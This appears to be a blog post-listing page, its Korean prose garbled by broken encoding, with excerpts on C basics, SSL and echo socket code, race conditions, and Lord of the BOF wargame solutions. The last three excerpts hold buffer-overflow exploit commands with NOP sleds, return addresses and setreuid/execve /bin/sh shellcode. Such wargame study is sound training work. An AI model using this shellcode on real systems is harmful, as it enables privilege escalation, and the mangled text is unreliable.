728x90 ๋ฐ์ํ ์ ์ฒด ๊ธ284 C์ธ์ด ์ ๋ฆฌ C์ธ์ด์ ์ฅ์ C์ธ์ด๋ ์ ์ฐจ์งํฅ์ ํน์ฑ์ ์ง๋๋ค. ๋๋ฌธ์ ์ต์ํด์ง๋๋ฐ ์ค๋ ์๊ฐ์ด ๊ฑธ๋ฆฌ์ง ์๋๋ค. ์ฆ, ์ ์ฐจ์งํฅ ํ๋ก๊ทธ๋๋ฐ์์ ์ค์ฌ์ด ๋๋ ๊ฒ์ ‘์์’์ด๋ค.C์ธ์ด๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ์ ์ด์์ฑ์ด ์ข๋ค.C์ธ์ด๋ก ๊ตฌํ๋ ํ๋ก๊ทธ๋จ์ ์ข์ ์ฑ๋ฅ์ ๋ณด์ธ๋ค. C์ธ์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํจ์๋ก ์์ํด์ ํจ์๋ก ๋๋๋ค.int => ์ถ๋ ฅํํ main => ํจ์์ด๋ฆ (void) => ์ ๋ ฅํํ ์์ int์ void๋ ๊ฐ๊ฐ ์ถ๋ ฅ๊ณผ ์ ๋ ฅ์ ํํ๋ฅผ ์ค๋ช ํ๋ ๊ฒ์ด๋ค. ์ฆ, ์ถ๋ ฅ์ ํํ๊ฐ int ์ด๊ณ ์ ๋ ฅ์ ํํ๊ฐ void์ธ main์ด๋ผ๋ ํจ์ C์ธ์ด์ ํจ์ ๋ด์ ์กด์ฌํ๋ ๋ฌธ์ฅ์ ๋์๋ ์ธ๋ฏธ์ฝ๋ก ๋ฌธ์ ;์ ๋ถ์ฌ์ค๋ค. printf ํจ์๋ ํจ์ํธ์ถ ์ ์ ๋ฌ๋๋ ๋ฌธ์์ด์ ๋ชจ๋ํฐ์ ์ถ๋ ฅํ๋ ๊ธฐ๋ฅ์ ์ง๋๋ค. ์ด๋ ์ง์ ๋ง๋ค์ง ์์๋ ํธ์ถ์ด ๊ฐ๋ฅํ, .. Language 2015. 9. 22. C์ธ์ด์ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ ใ ฃ ใ ฃใ ฃ ใ ฃใ กใ กใ กใ กใ กใ กใ กใ กใ ฃ ใ ฃใ ฃ ใ ฃ main ํจ์์ฆ, ๋จผ์ ํธ์ถ ๋ ํจ์์ ์คํ๊ณต๊ฐ ์ผ์๋ก ๋ฆ๊ฒ ํด์ฒด ๋๋ค. free ํจ์๋ฅผ ํธํํ์ง ์์ผ๋ฉด ํ๋ก๊ทธ๋จ ์ข ๋ฃ ํ์๋ ๋ฉ๋ชจ๋ฆฌ๊ฐ ๋จ์๊น?-> ํ๋ก๊ทธ๋จ ์คํ์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ํ๋ก๊ทธ๋จ์ด ์ข ๋ฃ๋๋ฉด ์ด์์ฒด์ ์ ์ํด์ ์ ๋ถ ํด์ ๊ฐ ๋๋ค. ์ ํ์ฒ๋ฆฌ๋?์ปดํ์ผ ์ด์ ์ ์ฒ๋ฆฌ๋ฅผ ์๋ฏธํ๋ค. ๋งคํฌ๋ก ํจ์์ ์ฅ์ - ์ผ๋ฐ ํจ์์ ๋นํด ์๋๊ฐ ๋น ๋ฅด๋ค.- ์๋ฃํ์ ๋ฐ๋ผ์ ๋ณ๋๋ก ํจ์๋ฅผ ์ ์ํ์ง ์์๋ ๋๋ค. ๋งคํฌ๋ก ํจ์์ ๋จ์ - ์ ์ํ๊ธฐ๊ฐ ์ ๋ง๋ก ๊น๋ค๋กญ๋ค.- ๋๋ฒ๊น ํ๊ธฐ๊ฐ ์ฝ์ง ์๋ค. Security Study/System 2015. 9. 21. ssl client #include #include #include #include #include #include #include #include #include #include #define FAIL -1 int OpenConnection(const char *hostname, int port){ int sd; struct hostent *host; struct sockaddr_in addr; if ( (host = gethostbyname(hostname)) == NULL ) { perror(hostname); abort(); } sd = socket(PF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port.. Security Study/Network 2015. 9. 18. ssl server #include #include #include #include #include #include #include #include #include #include "openssl/ssl.h"#include "openssl/err.h" #define FAIL -1 int OpenListener(int port){ int sd; struct sockaddr_in addr; sd = socket(PF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; if ( bind(sd, (struct sockaddr*)&a.. Security Study/Network 2015. 9. 18. echo UDP_client #include #include #include #include #include #include #include #define BUFSIZE 30void error_handling(char *message); int main(int argc, char **argv){int sock;char message[BUFSIZE];int str_len, addr_size; struct sockaddr_in serv_addr;struct sockaddr_in from_addr;int clnt_addr_size; if (argc != 3){printf("Usage : %s \n", argv[0]);exit(1);} sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1)erro.. Security Study/Network 2015. 9. 18. echo UDP_server #include #include #include #include #include #include #include #define BUFSIZE 30void error_handling(char *message); int main(int argc, char **argv){int serv_sock;char message[BUFSIZE];int str_len; struct sockaddr_in serv_addr;struct sockaddr_in clnt_addr;int clnt_addr_size; if(argc!=2){printf("Usage : %s \n", argv[0]);exit(1);} serv_sock=socket(PF_INET,SOCK_DGRAM,0); if(serv_sock ==-1)error_han.. Security Study/Network 2015. 9. 18. echo TCP_client #include #include #include #include #include #include #include #define BUFSIZE 1024void error_handling(char *message); int main(int argc, char **argv){int sock;char message[BUFSIZE];int str_len;struct sockaddr_in serv_addr; if(argc!=3){printf("Usage : %s \n",argv[0]);exit(1);} sock=socket(PF_INET,SOCK_STREAM,0);if(sock==-1)error_handling("socket()error"); memset(&serv_addr,0,sizeof(serv_addr));s.. Security Study/Network 2015. 9. 18. echo TCP_server /*TCP_server*/#include #include #include #include #include #include #define BUFSIZE 1024void error_handling(char *message); int main(int argc, char **argv){ int serv_sock;int clnt_sock;char message[BUFSIZE];int str_len; case 1: struct sockaddr_in serv_addr;struct sockaddr_in clnt_addr;int clnt_addr_size; if(argc!=2){printf("Usage : %s \n",argv[0]);exit(1);} serv_sock=socket(PF_INET,SOCK_STREAM,0.. Security Study/Network 2015. 9. 18. race condition(๊ฒฝ์ ์กฐ๊ฑด)attack ๊ฒฝ์ ์กฐ๊ฑด์ด๋? ๋ ํ๋ก์ธ์ค๊ฐ์ ๋ฆฌ์์ค(resource)๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด์ ๋คํฌ๋ ๊ณผ์ ์ผ๋ก, ๋ณธ๋ ํดํน๊ธฐ๋ฒ์ ์นญํ๋ ๊ฒ์ด ์๋๋ค. ์๋ ค์ง ์ฝ๋๋ฅผ ํตํด ๊ฒฝ์ ์กฐ๊ฑด์ ์๋ ์๋ฏธ๋ฅผ ์์๋ณด์. ์ฌ๊ธฐ์ fork()๋ผ๋ ํจ์๋ ๋์ผํ ์์ ์ ํ๋ ํ๋ก์ธ์ค๋ฅผ ํ๋ ๋ ๋์ฐ๋ ํจ์๋ก์จ fork()๋ฅผ ํธ์ถํ ๋, ๊ฒฐ๊ณผ ๊ฐ์ ์๋ก ๋ง๋ค์ด์ง ํ๋ก์ธ์ค์ ๋ฒํธ๊ฐ ๋๋ค. ์ด๋ก ํ๋ก์ธ์ค๋ฅผ ๊ตฌ๋ถํ๋ค. if(a%2 ==0) => printf("O")๊ฐ /*๋ถ๋ชจ ํ๋ก์ธ์ค*/์์ 50๋ฒ์ ์ถ๋ ฅํ๊ณ if(a%2 ==1) => printf("X")๊ฐ /*์์ ํ๋ก์ธ์ค*/์์ 50๋ฒ์ ์ถ๋ ฅํ๋ค๊ณ ํ๋ค. ๊ทธ๋ผ ๊ธฐ๋ณธ์ ์ผ๋ก OXOXOXOXOXOXOX์ด๋ฌํ ์์ผ๋ก ์ถ๋ ฅ์ ํ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ๋๋ฐ ์ด์๋ค๋ฅด๊ฒ XXOXXOOOOOOOXXOXOOOOO ์ด๋ฌํ์.. Security Study/System 2015. 9. 17. LOB orge ์ฝ๋๋ฅผ ์ด์ด๋ณด๋ฉด argv[0]=file์ด๋ฆ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํ์ผ์ด๋ฆ์ 77byte๋ฅผ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ์ด์ค๋ค. ./๊น์ง ํฌํจํ๋ฏ๋ก 75๋ฅผ ํ๋ค.๋๋จธ์ง๋ ๋์ผ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(์ฌ๋ณผ๋ฆญ ๋งํฌ) $(python -c 'print "\x90"*40+"AAAA"+"\x9c\xfb\xff\xbf(์ฃผ์๊ฐ)"') $(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB darklf ์์ค๋ฅผ ์ด์ด๋ณด๋ฉด ์ผ๋จ ์ ๋ฌธ์ ๋ ๋น์ทํ๋ฐ ๊ธธ์ด๋ฅผ ์ฒดํฌํ๋ค.์ฒซ๋ฒ์งธ์ธ์ ๊ฐ์ ๊ธธ์ด๋ฅผ ํ์ธํ์ฌ 48๊ธ์๋ณด๋ค ํฌ๋ฉด ๋์๋ฒ๋ฆฌ๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค. ์ผ๋จ ์๊ณผ ๋๊ฐ์ด ์งํํ๊ณ payload๋ฅผ ์์ฑ๋ ./darkelf $(python -c 'print "\x90"*40+"AAAA"+"\xcc\xfb\xff\xbf"') Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB wolfman ๋ค์ ๋ฌธ์ ๋ฅผ ํ๋ฉด ๋๋ฅ ์ ๋ฌธ์ ๋ ๋๊ฐ์ ํจํด์ด๋ค. ./wolfman $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xec\xfb\xff\xbf"(์ฃผ์๊ฐ)+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') Wargame/CTF(Capture The Flag) 2015. 9. 15. ์ด์ 1 ยทยทยท 17 18 19 20 21 22 23 24 ๋ค์ 728x90 ๋ฐ์ํ